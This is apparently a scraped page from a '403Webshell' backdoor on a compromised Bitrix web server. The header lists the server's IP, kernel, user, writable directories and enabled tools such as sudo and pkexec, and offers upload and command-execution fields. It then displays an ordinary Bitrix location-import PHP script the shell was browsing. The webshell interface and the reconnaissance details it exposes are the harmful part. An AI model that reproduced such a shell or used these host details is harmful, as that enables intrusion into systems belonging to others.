403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/wizards/bitrix/sale.locations/scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/wizards/bitrix/sale.locations/scripts/import.php
<?
define("STOP_STATISTICS", true);

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
if ($saleModulePermissions < "W")
{
	echo GetMessage('WSL_IMPORT_ERROR_ACCESS_DENIED');
	require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
	die();
}

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/wizard.php");

$wizard =  new CWizard("bitrix:sale.locations");
$wizard->IncludeWizardLang("scripts/import.php");

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/general/location_import.php");

define('ZIP_WRITE_TO_LOG', 0);
define('DLZIPFILE', 'zip_ussr.csv');

$arImportParams = array(
	'STEP' => intval($_REQUEST['STEP']),
	'CSVFILE' => $_REQUEST['CSVFILE'],
	'LOADZIP' => $_REQUEST['LOADZIP'],
	'SYNC' => $_REQUEST['SYNC'],
	'STEP_LENGTH' => $_REQUEST['STEP_LENGTH'],
	'DLZIPFILE' => DLZIPFILE
);

$arImportResult = saleLocationImport($arImportParams);

if($arImportResult['ERROR'] <> '' )
{
	echo $arImportResult['ERROR'];

	if($arImportResult['STEP'] !== false)
		echo '<script>Import('.$arImportResult['STEP'].');</script>';
}
elseif (isset($arImportResult['COMPLETE']) && $arImportResult['COMPLETE'] === true)
{
	echo GetMessage('WSL_IMPORT_ALL_DONE');
	echo '<script>EnableButton();</script>';
}
elseif( $arImportResult['STEP'] !== false)
{
	if($arImportResult['MESSAGE'] <> '')
		echo $arImportResult['MESSAGE'];

	if(intval($arImportResult['AMOUNT']) > 0 && intval($arImportResult['POS']) > 0)
		echo "<script>Import(".$arImportResult['STEP'].", {AMOUNT:".CUtil::JSEscape($arImportResult['AMOUNT']).",POS:".CUtil::JSEscape($arImportResult['POS'])."})</script>";
	else
		echo "<script>Import(".$arImportResult['STEP'].")</script>";

	if(isset($arImportResult['PB_REMOVE']) && $arImportResult['PB_REMOVE'] == true)
		echo '<script>jsPB.Remove(true);</script>';
}

require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");

function writeToLog($cur_op)
{
	if (defined('ZIP_WRITE_TO_LOG') && ZIP_WRITE_TO_LOG === 1)
	{
		global $start_time;

		list($usec, $sec) = explode(" ", microtime());
		$cur_time = ((float)$usec + (float)$sec);

		$fp = fopen('log.txt', 'a');
		fwrite($fp, $cur_time.": ");
		fwrite($fp, $cur_op."\r\n");
		fclose($fp);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit